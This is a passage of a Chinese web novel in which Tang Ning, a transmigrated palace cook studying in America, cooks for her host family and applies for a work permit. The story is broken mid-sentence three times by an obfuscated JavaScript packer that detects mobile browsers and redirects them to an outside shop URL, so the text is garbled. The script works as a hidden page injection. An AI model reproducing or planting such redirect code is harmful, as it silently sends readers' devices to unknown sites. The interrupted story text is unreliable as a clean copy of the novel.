上次撰写的两篇美食笔记都被人夸奖了，还有小姐妹关注了她，在早上那条葱油拌面的笔记下评论催更。 Momo：【没有好吃的照片了吗？】 Momo：【不知道为什么，总感觉博主做的饭看起来格外美味，晚上还想看图下饭来着。】 Momo：【红薯哭哭.jpg】 唐宁最见不得人“挨饿”，看到这条评论后，立马把今晚做的菜一口气都上传了。 她拍的照片都很随意，也没有使用过滤镜，全靠手艺和手机像素给力，所以看起来真实感很强，这大概就是“格外美味”的原因吧。 发布完笔记，不出五分钟，催更的姐妹就来了。 Momo：【水煮牛肉！油焖大虾！我的最爱！】 Momo：【怎么办，有人深夜放毒，我的嘴巴一直下雨，我处理不好。】 吐司耶耶回复她：【你那是流口水！】 她回复吐司耶耶：【唉，生活总是这样，别人永远无法共情，所有的酸甜苦辣咸鲜麻酥脆嫩滑软糯脆爽韧弹，只能自己咽。】 吐司耶耶：【？】 看到这里，唐宁忍不住笑了出来。 这些人怎么都这么有趣。 兴许是两人一来一往的对话，让笔记有了热度，点击量一直在上涨，还有国内的打工人看见，纷纷表示馋哭了，中午外卖就吃水煮牛肉和油焖大虾。 点不到水煮牛肉和大虾的，地三鲜也凑活。 一样也点不到的，就在下面哭着求唐宁把菜从手机里端出来。 唐宁脑海中瞬间回忆起原主看过的某知名恐怖片。 别吧，怪瘆人的。 就算她敢端，对方也未必敢吃。 崽拉想吃饭：【我也是太不争气了，竟然被一盘香菇青菜馋到嘴角流泪，谁懂啊，从来没见过这么标致的小青菜。】 底下纷纷附和。 唐宁收到一大堆的彩虹夸夸，心满意足地关掉手机，躺在床上，很快便睡着了。 一夜好眠。 唐宁没有睡懒觉的习惯，哪怕睡得再晚，天刚蒙蒙亮，生物钟就自动响了。 这个时辰，该准备早膳了。 从前在宫里，天还没亮，她们就要起床给皇帝做早膳吃，现在好了，她不用再饿着肚子等皇帝吃完再吃，第一口就能做给自己吃。 这种感觉真好啊。 她打了个哈欠，伸了个懒腰，洗漱后去了厨房。 前一天满心想着唐家破产的事，没来得及好好享受早膳，今天她打算大展拳脚，做顿丰盛的。 打开冰箱才发现，里面只有牛奶鸡蛋和面包。 其余食材需要提前去采买。 看来只能简单做点儿了。 贝内特太太一向起得早，但前一晚吃得太饱，睡得有些晚了，醒来时太阳已经出来了。 她想起唐宁还要上课，连忙起来准备早点。 却没想到，一进厨房，早餐已经准备好了。 “早上好，贝内特太太。” “宁，你几点起床的？” 在贝内特太太看来，做饭是一件很辛苦的事，何况唐宁前一晚已经做过一顿丰盛的大餐，今天的早餐该由她来准备。 但看到桌上从未见过的美食，她当即改口，“怎么不叫醒我帮你一起准备？” 唐宁笑笑道：“没关系，您不用担心，我习惯了做这些，一点也不觉得累。” 恰好这个时候，苏珊也从楼上下来了。 见时间差不多，唐宁把烙好的鸡蛋饼从锅里翻出来，放在盘子里，端上餐桌。 祖孙俩看着一桌子的食物，褐色的瞳孔里充满好奇和期待，不停地问着，这是什么那是什么。 唐宁擦了擦手，一一耐心解答。 她指着两个颜色大相径庭的碗。 “这是豆腐花，一种是咸的，一种是甜的。甜的上面是红糖和蜜豆，咸的上面是由木耳胡萝卜和火腿一起做的卤汁，还有辣椒油和花生，你们可以挑选自己喜欢的口味。” 古来自有南北咸甜之分，豆花也不例外。 唐宁在小某书上看到过南北两地的人，为了豆花应该是甜的还是咸的争得不可开交，为了照顾家里两个外邦人的口味，她便做了两种，喜欢哪个就吃哪个。 除此之外，唐宁还顺便煮了一锅豆浆。 “这个也一样，喜欢甜的加绵白糖，喜欢咸的加酱汁。酱汁是用紫菜虾皮榨菜和葱花做的，用来泡油炸果吃再好不过。” “主食就是鸡蛋饼和油炸果。” 等唐宁介绍完，两人迫不及待地拿起勺子，一人一碗不同口味的豆腐花，唏哩呼噜地喝了起来。 “喔噢，又软又嫩，不需要咀嚼就顺着喉咙滑下去了，像是在吃热布丁。” 贝内特太太盯着碗里“duangduang”的豆花，依旧忍不住感到惊奇，“但它比我吃过的布丁十分不同，也许是多了一种豆子的清香，宁，这个真的是用昨晚泡的那些黄豆做的吗？” 唐宁抿了一口豆浆，点点头：“没错，泡好的黄豆用破壁机打成浆，过滤煮熟就是我手里的豆浆，再用煮沸冷却到八十度的豆浆冲进化开的内酯里，恒温静置半个小时，就是豆腐花了。” 换做以前，她必须去膳房后院用石磨吭哧吭哧推半天才能磨出一盆豆浆，而且豆腐花也得用石膏才能点成。 几千年后倒是方便快捷许多。 这些早餐，她不到半个时辰就做好了。 虽然在滋味上有些许差别，但好在能够节省不少时间和力气，而且她也有自信能补足那点缺失的味道。 “天呐，这简直太神奇了，宁，你不愧是中国的魔法师。” 贝内特太太感叹道：“这个蜜豆豆腐花，是我几十年来吃过最好吃的早餐。” “不，甜豆花跟甜品店里的布丁一样，咸豆花才是世界上最好吃的早餐。”苏珊已经被咸豆花彻底征服了，“软嫩的豆腐配上这个卤汁和辣椒油，还有花生碎，让人恨不得把舌头都吞下去。” 贝内特太太十分不赞同：“苏珊，你错了，甜甜的蜜豆跟豆花才是最搭配的。” 苏珊坚持：“莫妮卡，我相信我的味觉。” 贝内特太太：“苏珊，难道你认为我年纪大就没有味觉了吗？” 苏珊：“奶奶，您这是在胡搅蛮缠。” 两人没说几句，忽然就开始争论甜豆花和咸豆花，哪个才是最好吃的，唐宁想劝，却因为语言不通，插不进嘴。 祖孙俩各执一词，争论不下，只能一致看向唐宁。 “宁，你觉得呢？” 唐宁：…… 原来咸甜党之争，不分古今中外。 早知道只做一种豆花了。 “我觉得，鸡蛋饼凉了就不好吃了。” 唐宁尴尬而不失礼貌地笑了笑，咬了一口手里温软的鸡蛋饼。 柔软不失劲道，葱花和鸡蛋的特有的味道相辅相成，却丝毫没有掩盖小麦粉的麦香。 她很满意。 两人见她吃得香，成功被转移了注意力。 苏珊一口接着一口，从咸豆花到鸡蛋饼，从甜豆浆到油炸果，每一样都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126897|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没放过，直到快吃完了才腾出嘴巴感叹了一句：“没想到中国的早餐这么丰盛！宁，你也太幸福了。” “不像我，每天早上都是千年不变的牛奶麦片吐司。” 贝内特太太幽幽道：“是吗？那些蓝莓煎饼原来是被野猫给叼走了。” 苏珊：…… 唐宁笑道：“还好，其实这并不算是丰盛。” 她伸出一根手指左右晃了晃，语气颇为骄傲，“只要没有食材限制，我至少能做出一千种中式早餐。” “一千种！你在跟我开玩笑吗？”苏珊惊道。 贝内特太太也被惊到了，转头看向她。 “当然不是玩笑，不信以后我每天都给你们换一种早餐，保管到毕业那天，你们都能吃到不重样的。” 苏珊/贝内特太太：！！！ 幸福来得太突然啦！ 吃过早餐，唐宁收拾好背包去上学。 半个月后她才能开始赚钱，钱包里只剩下22美元，完全不够坐公交。 所以她打算走路去学校。 就当是锻炼身体了。 刚走出院门，她听到苏珊在身后喊道：“等等我，宁！” 唐宁转过身，见她开着红色卡罗拉从车库里出来，行驶到她面前，打开副驾驶车门，十分酷地偏了下头，“上车。” “你确定？”唐宁站在原地没动，眉梢轻挑，“卡罗拉副驾驶不是汤姆先生的专属座位吗？” 一个月前唐宁第一天上学，贝内特太太让苏珊开车带她一起，苏珊就是以这个理由拒绝她上车的。 苏珊当即把端坐在副驾驶上的小熊玩偶扔到了后座。 对唐宁笑道：“从今天起，是你的了。” 唐宁被她的举动逗笑，干脆利落地上了车。 一路上，两人通过翻译器有说有笑，似乎之前的隔阂在这一瞬间都被打破了。 “我一直以为你是一个傲慢无礼的富家子……我的意思是，你家里人花钱让你顶替了一个想求学的普通人，这让我感到十分气恼，所以对你一直很差劲，很抱歉，希望你能原谅我之前的无礼。” “没什么原谅不原谅的，你说的没错，这对其他人很不公平。” 直到今天，唐宁才知道苏珊对她不友好的原因，但也十分理解，“但不管怎么样，我也希望你相信，这一切都并非我本意。” 毕竟她来到这个世界前，此事已成定局。 “当然，我明白你的苦衷。” 苏珊同情地看了一眼唐宁：“听说中国人都十分讲究孝顺，成年后也必须要听从父母的话，实在是太可怜了，但好在现在你自由了，宁，我希望你能在美利坚感到幸福。” 唐宁：…… 行吧。 这么理解也不是不可以。 尽管原主当初并不是为了孝顺，而是没有选择。 奶奶看病花光了家里所有的存款，即便如此，也没有挽回奶奶的生命，然而原主却欠了许多钱，包括高利贷。 因为还不上债，原主经常被债主打的鼻青脸肿，哪怕肋骨被踢断，也不敢去医院。 为了还债，她省吃检用，饿得皮包骨头，被唐家认回去后也没来得及吃上一顿饱饭，就被送到了大洋彼岸。 在这方面，唐宁也是同情她的。 很快，红色卡罗拉驶进哈斯顿大学停车场。 一下车，唐宁看到从对面车上下来的丽萨和莉莉，两人也看到了她。 唐宁正要跟走上前来的丽萨打招呼，还未开口，就被苏珊像护小鸡崽一样，一把将她护在了身后。 苏珊一脸防备盯着丽萨，好似她是什么吃人的魔鬼。 被拽了个踉跄的唐宁：？ 12. 申请工卡 “嘿，我警告你，离她远一点！” 一声高扬的喝止，让周围路过的同学都看了过来。 莉莉被吓得呆在原地，丽萨却像是没听见一样，径直走到两人面前，漫不经心地瞥了苏珊一眼，“贝内特小姐还是这么没有教养，真是一点也不让人意外。” 说完，她无视苏珊的警告，歪头跟她身后的中国女孩打招呼，“嗨，宁，要跟莉莉一起去上托马斯教授的课吗？” 清晨的日光洒在她棕红色的头发上，热烈而明媚，上一秒还面无表情的人，下一秒对唐宁笑得格外灿烂。 唐宁虽然看不见苏珊的表情，但莫名感应到危险，手臂上的汗毛都竖了起来。 空气中弥漫起一股剑拔弩张的气势。 果不其然。 不等唐宁开口，苏珊一把推开丽萨，凶巴巴道：“你怎么回事？没听到我说的话吗？宁是我的朋友，我会保护她，不会让你这个女人靠近她。” 丽萨被推得后退半步，冷冷看向苏珊，“保护？你认为我要对她做什么？” 苏珊神色有些不自然，但依旧没有退让的意思：“你比任何人都清楚自己想做什么，凯耶小姐，只要有我在，你就休想打她的主意。” 丽萨差点被气笑了，但碍于身份，她不能轻易在学校里朝学生发火。 她眉头皱起，语气平静：“贝内特小姐，我想你搞错了。” “宁是一个独立的个体，你没有权利阻止她跟任何人交朋友。况且，她马上就会成为我家餐厅的主厨，没有人会比我对她更加友好，也没有人比我和她之间的关系更加牢固。” “包括你。” 苏珊：？ “你在说什么疯话？宁是我家的寄宿留学生，她的父母非常富有，怎么可能去那家狗屎一样的餐厅工作？” 丽萨神色有些诧异，目光转向唐宁：“你家破产的事，没跟她说吗？” “什么？” 听到这话，苏珊仿佛也意识到什么，回过身来看向一脸憨态的唐宁。 白皙的面容露出一副难以置信的表情，声音隐约有些颤抖。 “宁，这是真的吗？” 唐宁头皮一麻：…… 怎么说呢？ 感觉自己好像一个出轨被情人找上门逼她当场休妻的渣男。 …… 苏珊翘掉了社团活动，一个人开车回了家。 贝内特太太和威尔逊太太正要开车去大华超市，将唐宁列出的晚餐所需要的食材买回来，还没出门，就听见院子里响起了汽车的声音。 紧接着，苏珊像一只发疯的兔子，通红着眼进入家门，横冲直撞地跑上了楼。 贝内特太太叫她好几声，她都仿佛没听见。 两位老人对视一眼，一脸担忧地跟了上去，一走到苏珊的房间门前，就看见她在自己的卧室里翻箱倒柜，像是在找什么，嘴里还念念有词。 “太糟糕了，简直是太糟糕了。” “我真不应该对唐宁……噢，该死，究竟把它放在哪里了。” 贝内特太太看了半天，没看出个所以然，忍不住打断她：“苏珊，这个时候你不是应该在学校吗？怎么突然一个人跑回来？宁呢？不会被你扔在大街上了吧？” 苏珊这时才意识到家里有人，转身扑进奶奶怀里，哭得像个两百斤的孩子。 贝内特太太懵了：“噢，宝贝，告诉我，究竟发生什么事了？” “奶奶，宁实在是太过分了，她骗了我们所有人！” 苏珊一边哭，一边将学校停车场发生的事告诉了贝内特太太。 贝内特太太大吃一惊，“你说什么？宁的家里破产了，还跟她断绝了所有联系？” 这丝毫不亚于将一只小猫残忍地抛弃在大街上！ 一旁的威尔逊太太听后，脸上的震惊不亚于贝内特太太，她看着苏珊还在手忙脚乱地找东西，不禁劝道：“宁也许是怕被赶出去，才不得已说谎，苏珊，看在上帝的份上，请你不要生她的气，千万不要伤害她。” 苏珊瞪大双眼，看向威尔逊太太：“凯瑟琳，你在说什么？！” “我怎么会伤害宁？我要找我的借记卡，把我的存款取出来借给她，不然她一个身上只有22美元的女孩，要怎么独自在异国他乡生存下去？” “哎呀，抱歉，我以为你……” 威尔逊太太面露尴尬，“毕竟六岁那年，乔纳森骗你青蛙是吃小蝌蚪的，你得知真相后，用家里的棒球棍打断了他的一条腿。” 苏珊擦掉眼角的泪水，气愤道：“凯瑟琳，他让我喂我的青蛙吃了一整周的蝌蚪，那是你孙子应该受到的惩罚。” 威尔逊太太耸了耸肩，“好吧。” 贝内特太太：“好了，别找你的银行卡了，你不是说她已经答应丽萨·凯耶去她家餐厅工作了吗？那么她一定不会收你的钱。” 苏珊：“那怎么行？她住在我们家，我一定要帮她才行！” 贝内特太太懒得跟孙女解释东方女孩有多么地要强，她转头看向威尔逊太太：“你刚才说多纳托昨晚偷偷吃了宁做的水煮牛肉，既然如此，就给他打个电话吧。” 威尔逊太太当即意会她的意思，点点头，去楼下包里拿手机。 苏珊：？ 什么？ 一向冷峻严苛的威尔逊先生居然偷吃了宁做的菜？ 什么时候？ 她怎么没发现？ 等等，这跟帮助唐宁有什么关系？ …… 唐宁在丽萨的陪同下，来到了ISO，也就是留学生办公室。 她将F-1签证、护照、以及唐家的破产信息等资料放在办公桌上，看向对面蓝色西装绿色眼睛的白人DSO。 “我想要申请EAD工卡。” 为了给国际生顾问留下一个良好的印象，这句话唐宁是特意用英文说的。 在进入办公室之前，丽萨帮她练习了好几次。 白人DSO上下打量几眼唐宁，眼底闪过不着痕迹的轻鄙，然后看向一旁的丽萨，以公事公办的口吻说道：“凯耶小姐，也许在走进这道门之前，你应该跟你身旁这位同学说清楚，申请校外打工并不是一件随随便便的事，尤其是必须满足在本校就读一学年，且成绩优秀这条规则。” 丽萨顿时有种不好的预感，她看了一眼没有翻译器有些茫然的唐宁。 “我当然知道，霍普先生，但唐宁有严重的经济困难问题，学校不能为她提供校内工作，但她的处境已经无法支持她在这里安心学习，完全可以申请校外工作的资格。” 霍普先生遗憾道：“听起来的确很可怜，但移民局却不会这么认为，很抱歉，凯耶小姐，我无法做这个推荐人，但我不介意你去找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126898|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他DSO。” 丽萨拧了下眉，盯着得意洋洋的霍普先生沉默了好一会儿，才道：“是强尼让你这么做的吗？他给了你什么好处？” 话音落下，办公室里的气氛瞬间凝滞。 即便唐宁不太懂英文，也意识到申请工卡的事似乎不太顺利。 被拆穿的霍普先生丝毫不在乎，面上依旧保持着官方假笑：“我不懂你在说什么，如果你对强尼有什么意见，尽管可以去投诉他，但不管怎样，都跟我无关。” “得了吧。”丽萨忍无可忍，一把抓起桌上的材料，“别以为我不知道，你跟强尼那个混蛋每周末都会去赛尔酒吧鬼混。” “你们这样对待一个穷途末路的留学生，迟早会下地狱的。” 丽萨说完，朝着桌子后西装笔挺的霍普先生竖了一个中指，带着唐宁一起走出了办公室。 唐宁全程都没怎么听懂两人的对话，但她十分清楚那个中指意味着什么。 “对不起，宁，我或许有些冲动了，但相信我，那个混蛋收了强尼的好处，他不会帮我们的。”丽萨靠在墙边，懊恼地揉着额头，“早知道我不该跟强尼翻脸。” 强尼在被唐宁撂翻在学生服务中心后，几乎气急败坏，在看见丽萨一脸崇拜地看着唐宁离开的背影后，心里越发恼怒，把气都洒在了丽萨身上，丽萨却没有向往常一样笑着安慰他，而是又当众给了他一巴掌。 这件事唐宁也是昨天被丽萨说服去餐厅工作时知晓的。 唐宁拿起翻译器，真诚对她说道：“你不用跟我道歉，这不是你的错。” 强尼骚扰欺负丽萨在先，丽萨反抗是理所当然的。 霍普先生刻意刁难她们，唐宁听不懂他的话，但也看得出来，他不仅仅是因为强尼的小肚鸡肠报复她们，而是本身就对身为亚裔的她有所轻视。 说到底，霍普先生和强尼都不过是种族歧视的一丘之貉。 “可是工卡……” “无妨，不是还有其他DSO吗？”唐宁安慰她，“放心吧，总能想到办法的。” 大不了就是罚款被遣送回国。 她就不信以自己的厨艺，回国还不能找到一份工作。 罚款迟早能还上。 至于学业，攒够钱再继续念也是一样的。 听她这么说，丽萨内心十分感动：“宁，你真是一个天使。” 与此同时。 办公室里的霍普先生接到一个电话。 起初他并没放在心上，直到电话那头大学时期备受尊敬的人说出一个名字，他当即从办公椅上跳了起来。 电话里的人好像听到了这动静，苍老阴森的声音响起：“你不会已经拒绝她了吧？” …… 唐宁和丽萨在走廊上等了一会儿，没等到其他DSO回来，打算下午再来试试看。 正准备离开，身后的办公室里冲出发丝凌乱的霍普先生。 见两人还没走，他如释重负，大步流星走到两人面前，面露诚恳，与方才的高傲得意判若两人。 “唐宁小姐，抱歉，刚才是我搞错了申请标准，你的资料可以留下来，我会立刻马上转交给移民局，加急为你申请到EAD工卡。” 唐宁：？ 川剧变脸爱好者？ 丽萨：…… 学校不是禁止办公时间吸食大麻吗？ 13. 一鱼三吃 不管怎么说，唐宁顺利地完成了工卡申请流程。 时值午休，今天没来及提前准备午餐，于是跟丽萨接到刚下课的莉莉，三人一起去了食堂。 哈斯顿大学有三个食堂，装修风格各异，有的古老厚重得像魔法城堡，有的艺术气息浓厚得像卢浮宫，还有极具现代风格的科技化餐厅。 唯独食物的味道保持着惊人的一致。 不难吃，也不好吃。 尤其是这两块火红得匪夷所思的鸡翅，据说是近期最受欢迎的美食，难道没有人觉得冲鼻子吗？ 醋的酸，酱的辣，还有胡椒的呛。 一口下去，毫不交融的味道在嘴巴里乱窜，后劲极大。 仿佛一位巫师突然灵感爆棚，把手边能拿到的调料，以最大极限的量裹在了鸡翅上。 唐宁抬眼观察四周，见其他人吃得面不改色，连连点头，嘴里念叨着“底离十二斯”时，不禁对自己的味觉产生了一丝怀疑。 罢了。 食物无罪，不能浪费。 况且现在能填饱肚子就不错了，还要什么自行车。 唐宁面无表情地嚼着鸡翅，一转头，见丽萨还在难以置信地盯着自己，放下叉子，一本正经调侃她：“你是想让盘子里的冷冻三文鱼寿司化掉再吃吗？” “抱歉，我只是觉得不可思议，你跟那位鼎鼎大名的威尔逊教授，居然是邻居，而且他还会为了你特意带电话过来威慑他曾经的学生。” 丽萨说着，余光瞥见专心埋头啃三明治的莉莉，忽然灵光一闪，问道：“宁，他吃过你做的菜吗？” 唐宁顿了一下，微笑道：“算是吧。” 如果剩菜也是一种菜的话。 走出DSO的办公室后，唐宁第一时间给苏珊打了电话，除她之外，身边没有人还知道她要去餐厅工作的事。 得知事情的来龙去脉后，她也觉得十分惊讶，然后才是疑惑。 威尔逊先生不是嫌她糟蹋食材么，怎么一转头就把吃剩的水煮牛肉偷偷打包了？ 真要那么想吃的话，晚餐时为什么不跟她们一起？ 想不通，不理解。 但他总归是帮了自己。 这种听起来不大体面的事，她自然也不好向丽萨言明。 “天呐，连威尔逊教授都被你的厨艺折服了！”丽萨庆幸自己捡到宝了，“宁，你太让我感到惊讶了，在你的国家，你一定很受欢迎吧！” 以前在宫里的时候，的确是。 但现在她还没在国内生活过，并不知道自己的厨艺算什么水准。 唐宁笑了笑，没回答，转移了话题，“我很好奇，为什么你跟霍普先生对威尔逊先生似乎……呃，很恐惧？” 提起这个，丽萨还没说话，手臂上先冒起一层鸡皮疙瘩。 唐宁：…… 看得出是真害怕了。 丽萨摸了摸自己的手臂，“其实威尔逊教授是哈斯顿商学院最好的教授，可以说华尔街有一半精英都曾是他的学生，但他为人实在是……你知道的，太刻薄。” 唐宁点了点头。 这一点，她深有体会。 但也不至于让霍普先生吓成那个样子吧？ 他惊慌失措追出来的样子，宛如身后有上百只饥肠辘辘的野兽在捕杀他。 丽萨继续道：“虽然我不是商学院的学生，但我亲眼目睹威尔逊教授因为论文里区区几个错词，找到正在礼堂参加演讲的学生，当着在场所有人的面，用扩音器骂得他抬不起头。” “那个场面简直太可怕了。” 至今回想起来，丽萨仍心有余悸。 当初差一点，就差一点点，她就进入商学院了，所幸小莉莉感受到她的苦恼，支持她学习自己喜欢的专业。 否则，她的人生一定会留下难以磨灭的阴影。 丽萨忍不住抱了抱自己的妹妹，“莉莉真是我的幸运天使。” 闻言，唐宁了然。 刻薄这个词还是太委婉了，应该是残暴。 幸好，他已经退休了。 …… 下午课程结束后，苏珊开车来接唐宁回家，不可避免又跟丽萨互怼起来。 唐宁和莉莉站在一旁等了好一会儿，十五分钟过去，两人丝毫没有休战的准备，只能看向彼此，微微叹气，相互挥手道别。 “拜，莉莉。” “拜，宁。” 说完，两人分别扛起自家不成熟的姐姐回到各自的车上。 苏珊一边开车一边还在吐槽丽萨居心叵测，试图劝唐宁重新找一份工作，“那个女人不是好人，你在她家餐厅工作一定会被欺负的，我和奶奶都会担心的。” “你们之间到底发生过什么？”唐宁察觉到她是真心为此感到担忧，而不是单纯因为跟丽萨有过节，才赌气说出这番话。 可丽萨怎么看都不像是坏人，何况她在大学里有一份正式的工作，在学生服务中心担任留学生们的心理辅导员，提供心理咨询等方面的建议，这个职位面试起来并不容易。 “是不是有什么误会？” 两人一见面就是相互嘲讽，唐宁听半天也没弄明白，她们究竟在吵些什么。 只知道苏珊曾找丽萨做过心理辅导。 其余的，就连莉莉也不知道，她更无从得知了。 一路都在喋喋不休的苏珊突然沉默了，似是因为某种难以启齿的原由，她还是没有跟唐宁说明，只是神色突然变得很认真。 “好吧，宁，我知道我跟丽萨·凯耶的矛盾给你带来了不小的困扰，但请相信我，我只是想帮你。如果你认为那个女人对你没有恶意，想跟她成为朋友，我也没有权利干涉你，但你一定要答应我，好好保护自己，无论遇到什么事，一定要告诉我。” 在苏珊的口中，丽萨是一个极度危险的存在。 可她却死活都不愿意说出原因。 这让唐宁一头雾水，却也只能点点头，答应了她。 苏珊停下车，目光怜爱地看着她，“太好了，我一定会比丽萨·凯耶做得更好，让你看清那个女人的嘴脸，跟我成为比她还要好的朋友。” 唐宁不置可否，在心里记下了苏珊对她的善意。 “那么，现在你身上还有什么麻烦，我可以帮你。” “目前还没有，等我赚到钱以后，想先找个家教，毕竟工卡要求国际生的学业成绩要保持在良好以上。” 唐宁苦笑道：“以我现在的水准，连考试题目都未必能看得懂。” 苏珊是学艺术的，自然不能帮唐宁辅导功课，但帮她在学校找个会中文的家教，还是很轻松的。 “别担心，宁，交给我吧。” …… 回到家后，唐宁发现威尔逊夫妇也在。 原本想着贝内特太太已经知道她家破产的事，也就意味着，她已经付不起高昂的房租了，所以想提前跟贝内特太太说一下半个月后她要搬出去的事。 但眼下有客人在，显然不合时宜。 于是她跟两位太太打过招呼后，走到坐在沙发上的威尔逊先生面前，温声道：“威尔逊先生，申请工卡的事对我来说很重要，很感谢你帮了我。” 威尔逊先生今晚穿着很休闲，似乎是去钓鱼了，身上是一件褐色的钓鱼马甲，年过六旬地老头胡子花白，看过来时目光十分锐利，不苟言笑，压迫感极强。 唐宁脑海中浮现出丽萨描述过的场景，内心陡然生出一丝紧张感。 沉默半晌过后，威尔逊教授才慢悠悠道：“你们国家的人在得到别人帮助之后，就是这么表达谢意的？” 唐宁一怔，随即道：“抱歉，我现在身上一无所有，如果您不介意的话，半个月后我会拿到第一笔薪水，到时候请您来餐厅吃饭如何？” 威尔逊先生却不耐烦地摆了摆手：“不用那么麻烦，我已经替你准备好了谢礼。” 唐宁：？ 威尔逊先生站起身，高大的身躯使他气势更强，“跟我来。” 唐宁忐忑地看了一眼贝内特祖孙俩，以及一旁满脸慈爱的威尔逊太太，而后跟着威尔逊先生一起走进厨房，见他从岛台后拖出一个硕大的钓箱。 打开钓箱，一条肥大的花鲢正在箱底绝望地吐泡泡。 唐宁跟它大眼对小眼，足足对视了五秒钟。 威尔逊先生拍了拍钓箱，语气威严道：“你可以让它成为我们美味的晚餐吗？” 唐宁：…… “当然。” …… 大花鲢属于亚洲鲤鱼，作为外来入侵物种，一定程度上破坏了当地的水生生态，政府鼓励民众捕捞垂钓。 但由于美利坚人普遍不吃鱼头，而是习惯于吃一些无刺鱼排，故而头部足足占据了三分之一的花鲢在整个北美都不太受欢迎。 威尔逊先生今天去钓鱼，原本也只是为了散心。 没想到会钓到如此巨大的花鲢，原本是想丢回湖里，但恰好接到妻子的电话，让她帮助那个可怜的华裔女孩。 他才懒得管这档子事。 为了一个陌生人，让他堂堂一个大学教师去走后门。 没门。 拒绝的话都已经在嘴边了，他却听到电话那头，莫妮卡不经意提起唐宁想邀请他们来家里吃晚餐。 于是，花鲢就被他带回了家。 他倒要看看，亚洲鲤鱼用中式手艺，能烹饪出什么样的美味。 宽敞明亮的开放式厨房里，唐宁纤弱的手握一把颇为厚重的菜刀，将那条成年人拎起来都费劲的大胖鱼扔进水槽，放血，刮鳞，砍骨，分解成好几个部分，全程不到五分钟，动作干净利落。 即便威尔逊先生没有学习过厨艺，也能感受到其专业的功底。 贝内特太太三人无法接受如此血腥的场面，一早就离开厨房，让唐宁处理完大鱼，需要帮助的时候再叫她们。 片刻过后，唐宁无意中转身，见威尔逊先生还在岛台旁坐着，不停地用手擦鼻子，似乎是有些不太舒服，便道：“威尔逊先生，你可以跟她们一起去客厅聊天，准备好晚餐后我会叫你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126899|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” 威尔逊先生倒不是害怕这样的场面，他想亲眼看看唐宁究竟是怎么把菜做得那么好吃的，只是厨房里散发着一股属于淡水鱼的腥臭，实在让他难以忍受。 他想了想，决定还是先去透一口气，临走前突然问唐宁：“你需要防毒面具吗？我可以去储藏室帮你找找。” 唐宁不禁失笑：“不必了，这种味道只是暂时的。” 对此，威尔逊先生表示怀疑，却也没说什么，径自走出了厨房。 贝内特太太见他坐在单人沙发上，面无表情道：“谢天谢地，原来多纳托·威尔逊的嗅觉还没有被酒精彻底摧毁。” 她可没忘记她们离开厨房时，他是怎么嘲讽她们娇气的。 威尔逊先生冷哼一声，回过头来看向众人：“相信我，不要对今天的晚餐抱有期待，那种腥味简直就是一场灾难，臭得让人难以想象。说到底，唐也只是一个学生，不是正经厨师，无论怎样都不可能去除这种难闻的味道。” “不行，我得喝口酒，去掉嘴里这股恶心的味道” 说完，他倒了一杯自带的威士忌，灌进了胃里。 尽管贝内特太太也闻到了难闻的腥味，但听到多纳托的话，仍觉得十分不舒服。 “你不愿意在这里吃晚餐的话，完全可以回家喝你的威士忌配火腿。” 威尔逊先生浑不在意：“噢，莫妮卡，这么多年了，我以为你心里很清楚。” 贝内特太太皱眉：“什么？” 威尔逊先生：“清楚我一旦答应某件事，就一定会完成这项约定，在这一点上，我比在场的你们任何人都有教养。” 贝内特太太翻了个白眼，扭头看向威尔逊太太：“你地眼光一向不错，当初怎么会嫁给这种人？” 眼神里满是要不是你老娘我就不会一把年纪还要受这种气。 威尔逊太太却完全没有领会到她的意思，反而一脸花痴相，盯着自己的丈夫：“瞧他，多么地优雅帅气，就像当年答应要做我毕业晚会的舞伴一样。” 贝内特太太：…… “噗嗤——” 只要威尔逊夫妇一来，苏珊就致力于把自己当成鹌鹑，此刻却突然在沙发角落里笑出了声。 “苏珊！”贝内特太太一个眼刀飞过去。 “拜托，奶奶，您又不是第一天认识凯瑟琳，她已经没救了，您还要自讨没趣。” “……” 四个人一边吵吵闹闹，一边等着晚餐。 威尔逊先生嘴上说着不期待，却时不时地朝厨房张望上几眼。 不知道是不是错觉，屋子里好像没有刚才那股挥之不散的腥味了，反而被一抹淡淡的鲜味替代。 其他人似乎也闻到了。 “宁应该处理好了鱼，我进去帮忙。”贝内特太太起身朝厨房走去。 “我也去。”苏珊才不想跟威尔逊先生待在一起。 威尔逊太太本来是想陪丈夫在客厅等，但闻到这个香味，就像是被施了咒语，莫名其妙地站了起来。 “我也来帮忙，或许能早点吃到晚餐。” 她走出几步，回头看向丈夫：“多纳托，你要一起来吗？” 毕竟下午在家的时候，丈夫还对唐宁是怎么烹制美食的抱有浓厚的兴趣。 